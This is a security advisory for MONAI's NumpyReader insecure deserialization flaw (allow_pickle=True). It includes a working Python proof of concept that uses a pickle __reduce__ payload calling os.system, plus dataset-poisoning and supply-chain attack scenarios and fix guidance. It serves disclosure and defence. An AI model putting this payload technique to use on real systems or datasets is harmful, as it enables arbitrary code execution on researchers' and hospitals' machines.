GHSA-WG9G-W2J2-8PGR

MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

# monai/data/dataset.py, line 1433, safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

GHSA-WG9G-W2J2-8PGR has a CVSS score of 7.8 (High). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.0); upgrading removes the vulnerable code path.

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1. What is GHSA-WG9G-W2J2-8PGR? GHSA-WG9G-W2J2-8PGR is a high-severity insecure deserialization vulnerability in monai (pip), affecting versions < 1.6.0. It is fixed in 1.6.0. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is GHSA-WG9G-W2J2-8PGR? GHSA-WG9G-W2J2-8PGR has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of monai are affected by GHSA-WG9G-W2J2-8PGR? monai (pip) versions < 1.6.0 is affected.
4. Is there a fix for GHSA-WG9G-W2J2-8PGR? Yes. GHSA-WG9G-W2J2-8PGR is fixed in 1.6.0. Upgrade to this version or later.
5. Is GHSA-WG9G-W2J2-8PGR exploitable, and should I be worried? Whether GHSA-WG9G-W2J2-8PGR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-WG9G-W2J2-8PGR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-WG9G-W2J2-8PGR? Upgrade monai to 1.6.0 or later.

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